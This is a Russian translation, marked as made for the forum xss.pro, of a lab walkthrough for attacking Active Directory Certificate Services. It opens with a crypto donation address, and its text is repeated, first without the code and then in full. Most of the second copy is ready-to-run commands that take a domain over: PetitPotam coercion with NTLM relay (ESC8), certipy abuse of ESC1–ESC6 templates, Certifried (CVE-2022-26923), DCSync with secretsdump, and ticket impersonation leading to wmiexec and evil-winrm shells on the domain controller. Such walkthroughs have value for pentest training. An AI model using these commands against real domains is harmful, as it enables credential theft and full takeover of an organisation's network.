ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В этой части мы попробуем атаки, когда ADCS настроен в домене. Сначала мы воспользуемся атакой PetitPotam без аутентификации и ESC8, чтобы получить доменного администратора на essos.local, затем мы перечислим сертификат шаблона с помощью certipy, bloodhound и учетной записи пользователя. В завершение мы используем следующие атаки: certipy, esc1, esc2, esc3, esc4, esc6, certifried и shadow credentials.
ESC8 - принуждение к администрированию домена
Для того чтобы эта атака сработала, нам понадобится :
ADCS, запущенный на домене с включенной веб-регистрацией. Работающий метод coerce (здесь мы используем petitpotam unauthent, но аутентифицированный printerbug или другие методы coerce будут работать одинаково). Существует полезный шаблон для эксплуатации ESC8, по умолчанию в активном каталоге, его имя DomainController
Сервер запрашивает аутентификацию, так что все в порядке
Добавьте listener на relay аутентификации SMB в HTTP с помощью impacket ntlmrelayx.
Запустите coerce с помощью petitpotam без аутентификации (это больше не будет работать в обновленном активном каталоге, но другие методы coerce с аутентификацией будут работать так же).
ntlmrelayx передаст аутентификацию на веб-регистратор и выдаст сертификат
Запросите TGT с сертификатом, который мы только что получили (мы скопировали его в файл cert.b64)
Проделаем ту же атаку с certipy, настроим listner:
запускайте coerce, как мы это делали раньше с petitpotam.
Теперь мы получили сертификат, поэтому мы можем получить NT-хэш DC, а также TGT с помощью команды :
И мы можем запустить DCsync с помощью secretsdump и полученного тикета
# или с хэшем
Разведка и перечисление ADCS (с помощью certipy и bloodhound)
Давайте начнем перечисление с помощью certipy
Выполним поиск на сервере сертификатов и выгрузим всю необходимую информацию в трех форматах:
1.bloodhound : zip, готовый для импорта в bloodhound (если вы используете certipy 4.0, вам придется установить bloodhound gui, модифицированный Оливером Ляком, если вы не хотите использовать модифицированную версию, вы должны использовать опцию -old-bloodhound)
2. json : информация в формате json
3. txt : текстовый формат
В Certipy 4.0 вновь появилась опция -vulnerable для отображения уязвимых шаблонов.
Мы можем найти уязвимый шаблон ESC1 :
Существует также уязвимый шаблон ESC2:
И другие уязвимые шаблоны, давайте посмотрим в bloodhound.
Импортируйте zip-файл, созданный с помощью certipy.
И сделайте обзор с помощью : PKI->Найти центр сертификации, выберите центр сертификации и нажмите : "посмотреть включенные шаблоны".
если в лаборатории не установлен esc4, пожалуйста, обновите и выполните следующие команды:

виполним
запросим сертификат
Аутентификацируемся с помощью pfx, который мы запрашивали ранее
Если вы получите ошибку : "[-] Получена ошибка при попытке запросить TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC не поддерживает тип padata)", это ошибка лаборатории, я не знаю, почему иногда она не работает, но вы можете перезагрузить DC3, чтобы исправить это: vagrant reload DC03
Как сказано на странице certipy: "ESC2 - это когда шаблон сертификата может быть использован для любой цели. Так как сертификат может быть использован для любой цели, он может быть использован для той же техники, что и в ESC3 для большинства шаблонов сертификатов."
Давайте разграничим эти две атаки, попробовав использовать ESC2:
Запрос сертификата
c
Запросите cert с помощью Certificate Request Agent сертификата, который мы получили ранее (-pfx)
Аутентификация
Мы также можем сделать то же самое с шаблонами ESC3-CRA и ESC3 в лаборатории:
Возьмите шаблон ESC4 и измените его так, чтобы он был уязвим для техники ESC1, используя привилегию genericWrite, которую мы получили. (здесь мы не задавали цель, так как мы нацелены на ldap)
Эксплуатируем ESC1 на модифицированном шаблоне ESC4
аутентификация с помощью pfx
Откат конфигурации шаблона
Как сказано на странице certipy: "ESC6 - это когда CA указывает флаг EDITF_ATTRIBUTESUBJECTALTNAME2. Этот флаг позволяет владельцу сертификата указывать произвольный SAN на всех сертификатах, несмотря на конфигурацию шаблона сертификата."
Поскольку ESSOS-CA уязвима к ESC6, мы можем провести атаку ESC1, но с шаблоном пользователя вместо шаблона ESC1, даже если в шаблоне пользователя Enrollee Supplies Subject установлено значение false.
Если вам нужно отключить атрибут EDITF_ATTRIBUTESUBJECTALTNAME2 (потому что вы хотите попробовать без него или просто потому, что эта атака больше не будет работать на обновленном AD без esc10 vuln), вы можете выполнить от имени администратора на braavos следующие команды:
Это также означает, что если у вас есть доступ администратора на сервере сертификатов, вы можете изменить этот атрибут, чтобы использовать ESC1, не будучи администратором домена 
Но теперь эксплойт ESC6 больше не работает, пользователь не изменен
Certifried - CVE-2022-26923
Оливер Ляк обнаружил способ повышения привилегий пользователя с низкими привилегиями в Active Directory. Он заключается в изменении свойства dnsHostName на созданном компьютере. Идея выглядит так же, как и уязвимость samAccountName, это путаница с именем при аутентификации. Подробности здесь: https://research.ifcr.dk/certifried...vilege-escalation-cve-2022-26923-9e098fe298f4
Создайте учетную запись с доменным пользователем и установите поддельное имя dns в качестве контроллера домена.
Запросите сертификат с созданным компьютером на шаблоне Machine
Аутентифицируйтесь с помощью сертификата как meereen (dc)
Загрузите ndts с тикетом kerberos, который мы только что получили
Удалите созданный компьютер с пользователем администратора домена
Хорошо, но теперь представьте, что вы не можете использовать dcsync с secretdump из-за продукта безопасности на DC, или вы просто хотите получить оболочку непосредственно на DC. Давайте попробуем получить оболочку.
Мы получили TGT DC (точно как в части 5 для samaccountname), поэтому мы будем использовать impacket getST, чтобы выдать себя за администратора и получить st для доступа к DC в качестве администратора (см.: https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse). Не забудьте использовать хороший запрос impacket pull request для использования этого, см. часть 5 для установки ( thx снова shutdown для добавлений в impacket)
и теперь мы можем использовать наш тикет
Мы также можем сделать то же самое, но с winrm, чтобы быть еще более легитимными
Примечание : Здесь мы запросили альтсервис HTTP/meereen.essos.local для использования winrm
Как то так!
Shadow Credentials
Атака Shadow credentials заключается в использовании привилегии GenericAll или GenericWrite на пользователе или компьютере для установки атрибута msDS-KeyCredentialLink. объяснения здесь
Вы можете получить информацию о движении dacl на сайте shutdown (@_nwodtuhs), рецепты хакеров: https://www.thehacker.recipes/ad/movement/dacl.
Эта атака очень полезна, когда вы получили Write другого пользователя.
С помощью genericWrite вы можете сделать только это:
Target Kerberoasting: добавить SPN к пользователю, сделать kerberoasting, удалить spn. Но пароль пользователя должен быть слабым, чтобы атака кербероустинга сработала.
Установка скрипта входа: измените параметры ldap для установки скрипта входа. но это подразумевает, что пользователь должен зайти на свой компьютер, smb-сервер или общий ресурс, чтобы предложить скрипт и установить скрипт, который обойдет существующие решения безопасности).
Shadow credentials : атака, которую мы хотим провести, нам нужна служба cetificate на домене.
С помощью GenericAll вы можете :
ForceChangePassword : но в реальном тесте вы не захотите блокировать пользователя, изменив его пароль. И это тоже не очень скрытно. Так что если вы можете сделать это другим способом, то это прекрасно
Все атаки возможны в genericWrite.
Так что если ADCS включен в домене, и мы получили привилегию записи на msDS-KeyCredentialLink, мы можем выполнить атаку теневых учетных данных, чтобы получить прямой доступ к учетной записи пользователя. И это кажется лучшей идеей в данном случае на реальном тесте.
Shadow credential теперь включается с помощью certipy (эта атака также может быть выполнена с помощью pywisker)
И мы можем сделать то же самое с viserys на jorah
В следующий раз мы позабавимся с MSSQL
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В этой части мы попробуем атаки, когда ADCS настроен в домене. Сначала мы воспользуемся атакой PetitPotam без аутентификации и ESC8, чтобы получить доменного администратора на essos.local, затем мы перечислим сертификат шаблона с помощью certipy, bloodhound и учетной записи пользователя. В завершение мы используем следующие атаки: certipy, esc1, esc2, esc3, esc4, esc6, certifried и shadow credentials.
ESC8 - принуждение к администрированию домена
Для того чтобы эта атака сработала, нам понадобится :
ADCS, запущенный на домене с включенной веб-регистрацией. Работающий метод coerce (здесь мы используем petitpotam unauthent, но аутентифицированный printerbug или другие методы coerce будут работать одинаково). Существует полезный шаблон для эксплуатации ESC8, по умолчанию в активном каталоге, его имя DomainController
- Давайте проверим, запущена ли веб-регистрация по адресу: http://192.168.56.23/certsrv/certfnsh.asp .
Сервер запрашивает аутентификацию, так что все в порядке
Запустите coerce с помощью petitpotam без аутентификации (это больше не будет работать в обновленном активном каталоге, но другие методы coerce с аутентификацией будут работать так же).
Код:
petitpotam.py 192.168.56.1 meereen.essos.local
ntlmrelayx передаст аутентификацию на веб-регистратор и выдаст сертификат
Запросите TGT с сертификатом, который мы только что получили (мы скопировали его в файл cert.b64)
Код:
gettgtpkinit.py -pfx-base64 $(cat cert.b64) 'essos.local'/'meereen$' 'meereen.ccache'
Код:
теперь у нас есть TGT для Meereen, так что мы можем запустить DCsync и получить весь контент ntds.dit.
ESC8 - с сертификатом
Оливер Ляк проделал замечательную работу над инструментом атаки ADCS, который, несомненно , автоматизировал многие вещи.Проделаем ту же атаку с certipy, настроим listner:
Код:
certipy relay -ca 192.168.56.23 -template DomainController
запускайте coerce, как мы это делали раньше с petitpotam.
Код:
petitpotam.py 192.168.56.1 meereen.essos.local
Теперь мы получили сертификат, поэтому мы можем получить NT-хэш DC, а также TGT с помощью команды :
Код:
certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12
И мы можем запустить DCsync с помощью secretsdump и полученного тикета
Код:
export KRB5CCNAME=/workspace/esc8/meereen.ccache
secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
# или с хэшем
Код:
secretsdump -hashes ':39d964a01c61c19fe36c71627d7ab56c' -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
Разведка и перечисление ADCS (с помощью certipy и bloodhound)
Давайте начнем перечисление с помощью certipy
Код:
certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.56.12
Выполним поиск на сервере сертификатов и выгрузим всю необходимую информацию в трех форматах:
1.bloodhound : zip, готовый для импорта в bloodhound (если вы используете certipy 4.0, вам придется установить bloodhound gui, модифицированный Оливером Ляком, если вы не хотите использовать модифицированную версию, вы должны использовать опцию -old-bloodhound)
2. json : информация в формате json
3. txt : текстовый формат
В Certipy 4.0 вновь появилась опция -vulnerable для отображения уязвимых шаблонов.
Код:
certipy find -u khal.drogo@essos.local -p 'horse' -vulnerable -dc-ip 192.168.56.12 -stdout
Мы можем найти уязвимый шаблон ESC1 :
- Права на регистрацию для всех пользователей домена
- Аутентификация клиента
- И объект поставки Enrolleee
Существует также уязвимый шаблон ESC2:
И другие уязвимые шаблоны, давайте посмотрим в bloodhound.
Код:
cd /opt/tools
wget https://github.com/ly4k/BloodHound/releases/download/v4.2.0-ly4k/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip -d BloodHound4.2-ly4k
rm BloodHound-linux-x64.zip
start neo4j
/opt/tools/BloodHound4.2-ly4k/BloodHound-linux-x64/BloodHound --no-sandbox --disable-dev-shm-usage
И сделайте обзор с помощью : PKI->Найти центр сертификации, выберите центр сертификации и нажмите : "посмотреть включенные шаблоны".
если в лаборатории не установлен esc4, пожалуйста, обновите и выполните следующие команды:
- ansible-playbook acl.yml
- ansible-playbook adcs.yml
- а затем повторно запустите bloodhound и certipy
ADCS - exploitation
ADCS - ESC1
виполним
Код:
certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.56.12
запросим сертификат
- цель : сервер ca
- tempalte : уязвимый шаблон
- upn : пользователь, за которого мы хотим выдать себя
Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local
Аутентификацируемся с помощью pfx, который мы запрашивали ранее
Код:
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
Если вы получите ошибку : "[-] Получена ошибка при попытке запросить TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC не поддерживает тип padata)", это ошибка лаборатории, я не знаю, почему иногда она не работает, но вы можете перезагрузить DC3, чтобы исправить это: vagrant reload DC03
ADCS - ESC2 & ESC3
Как сказано на странице certipy: "ESC2 - это когда шаблон сертификата может быть использован для любой цели. Так как сертификат может быть использован для любой цели, он может быть использован для той же техники, что и в ESC3 для большинства шаблонов сертификатов."
Давайте разграничим эти две атаки, попробовав использовать ESC2:
Запрос сертификата
c
Код:
ertipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA
Запросите cert с помощью Certificate Request Agent сертификата, который мы получили ранее (-pfx)
Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
Аутентификация
Код:
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
Мы также можем сделать то же самое с шаблонами ESC3-CRA и ESC3 в лаборатории:
Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC3-CRA -ca ESSOS-CA
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 192.168.56.12
ADCS - ESC4
Возьмите шаблон ESC4 и измените его так, чтобы он был уязвим для техники ESC1, используя привилегию genericWrite, которую мы получили. (здесь мы не задавали цель, так как мы нацелены на ldap)
Код:
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -save-old -debug
Эксплуатируем ESC1 на модифицированном шаблоне ESC4
Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn administrator@essos.local
аутентификация с помощью pfx
Код:
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
Откат конфигурации шаблона
Код:
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -configuration ESC4.json
ADCS - ESC6
Как сказано на странице certipy: "ESC6 - это когда CA указывает флаг EDITF_ATTRIBUTESUBJECTALTNAME2. Этот флаг позволяет владельцу сертификата указывать произвольный SAN на всех сертификатах, несмотря на конфигурацию шаблона сертификата."
Поскольку ESSOS-CA уязвима к ESC6, мы можем провести атаку ESC1, но с шаблоном пользователя вместо шаблона ESC1, даже если в шаблоне пользователя Enrollee Supplies Subject установлено значение false.
Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn administrator@essos.local
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
Если вам нужно отключить атрибут EDITF_ATTRIBUTESUBJECTALTNAME2 (потому что вы хотите попробовать без него или просто потому, что эта атака больше не будет работать на обновленном AD без esc10 vuln), вы можете выполнить от имени администратора на braavos следующие команды:
Код:
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc
Но теперь эксплойт ESC6 больше не работает, пользователь не изменен
Certifried - CVE-2022-26923
Оливер Ляк обнаружил способ повышения привилегий пользователя с низкими привилегиями в Active Directory. Он заключается в изменении свойства dnsHostName на созданном компьютере. Идея выглядит так же, как и уязвимость samAccountName, это путаница с именем при аутентификации. Подробности здесь: https://research.ifcr.dk/certifried...vilege-escalation-cve-2022-26923-9e098fe298f4
Создайте учетную запись с доменным пользователем и установите поддельное имя dns в качестве контроллера домена.
Код:
certipy account create -u khal.drogo@essos.local -p 'horse' -user 'certifriedpc' -pass 'certifriedpass' -dns 'meereen.essos.local'
Запросите сертификат с созданным компьютером на шаблоне Machine
Код:
certipy req -u 'certifriedpc$'@essos.local -p 'certifriedpass' -target braavos.essos.local -ca ESSOS-CA -template Machine
Аутентифицируйтесь с помощью сертификата как meereen (dc)
Код:
certipy auth -pfx meereen.pfx -username 'meereen$' -domain essos.local -dc-ip 192.168.56.12
Загрузите ndts с тикетом kerberos, который мы только что получили
Код:
export KRB5CCNAME=/workspace/certifried/meereen.ccache
secretsdump -k -no-pass -just-dc-user daenerys.targaryen ESSOS.LOCAL/'meereen$'@meereen.essos.local
Удалите созданный компьютер с пользователем администратора домена
Код:
certipy account delete -u daenerys.targaryen@essos.local -hashes 'aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a' -user 'certifriedpc'
Хорошо, но теперь представьте, что вы не можете использовать dcsync с secretdump из-за продукта безопасности на DC, или вы просто хотите получить оболочку непосредственно на DC. Давайте попробуем получить оболочку.
Мы получили TGT DC (точно как в части 5 для samaccountname), поэтому мы будем использовать impacket getST, чтобы выдать себя за администратора и получить st для доступа к DC в качестве администратора (см.: https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse). Не забудьте использовать хороший запрос impacket pull request для использования этого, см. часть 5 для установки ( thx снова shutdown для добавлений в impacket)
Код:
export KRB5CCNAME=/workspace/certifried/meereen.ccache
python3 /opt/tools/myimpacket/examples/getST.py -self -impersonate 'administrator' -altservice 'CIFS/meereen.essos.local' -k -no-pass -dc-ip 'meereen.essos.local' 'essos.local'/'meereen'
и теперь мы можем использовать наш тикет
Код:
export KRB5CCNAME=/workspace/certifried/administrator@CIFS_meereen.essos.local@ESSOS.LOCAL.ccache
wmiexec.py -k @meereen.essos.local
Мы также можем сделать то же самое, но с winrm, чтобы быть еще более легитимными
Код:
export KRB5CCNAME=/workspace/certifried/meereen.ccache
python3 /opt/tools/myimpacket/examples/getST.py -self -impersonate 'administrator' -altservice 'HTTP/meereen.essos.local' -k -no-pass -dc-ip 'meereen.essos.local' 'essos.local'/'meereen'
Примечание : Здесь мы запросили альтсервис HTTP/meereen.essos.local для использования winrm
Код:
export KRB5CCNAME=/workspace/certifried/administrator@HTTP_meereen.essos.local@ESSOS.LOCAL.ccache
evil-winrm -i meereen.essos.local -r ESSOS.LOCAL
Как то так!
Shadow Credentials
Атака Shadow credentials заключается в использовании привилегии GenericAll или GenericWrite на пользователе или компьютере для установки атрибута msDS-KeyCredentialLink. объяснения здесь
Вы можете получить информацию о движении dacl на сайте shutdown (@_nwodtuhs), рецепты хакеров: https://www.thehacker.recipes/ad/movement/dacl.
Эта атака очень полезна, когда вы получили Write другого пользователя.
С помощью genericWrite вы можете сделать только это:
Target Kerberoasting: добавить SPN к пользователю, сделать kerberoasting, удалить spn. Но пароль пользователя должен быть слабым, чтобы атака кербероустинга сработала.
Установка скрипта входа: измените параметры ldap для установки скрипта входа. но это подразумевает, что пользователь должен зайти на свой компьютер, smb-сервер или общий ресурс, чтобы предложить скрипт и установить скрипт, который обойдет существующие решения безопасности).
Shadow credentials : атака, которую мы хотим провести, нам нужна служба cetificate на домене.
С помощью GenericAll вы можете :
ForceChangePassword : но в реальном тесте вы не захотите блокировать пользователя, изменив его пароль. И это тоже не очень скрытно. Так что если вы можете сделать это другим способом, то это прекрасно
Все атаки возможны в genericWrite.
Так что если ADCS включен в домене, и мы получили привилегию записи на msDS-KeyCredentialLink, мы можем выполнить атаку теневых учетных данных, чтобы получить прямой доступ к учетной записи пользователя. И это кажется лучшей идеей в данном случае на реальном тесте.
Shadow credential теперь включается с помощью certipy (эта атака также может быть выполнена с помощью pywisker)
Код:
certipy shadow auto -u khal.drogo@essos.local -p 'horse' -account 'viserys.targaryen
И мы можем сделать то же самое с viserys на jorah
Код:
certipy shadow auto -u viserys.targaryen@essos.local -hashes 'd96a55df6bef5e0b4d6d956088036097' -account 'jorah.mormont'
В следующий раз мы позабавимся с MSSQL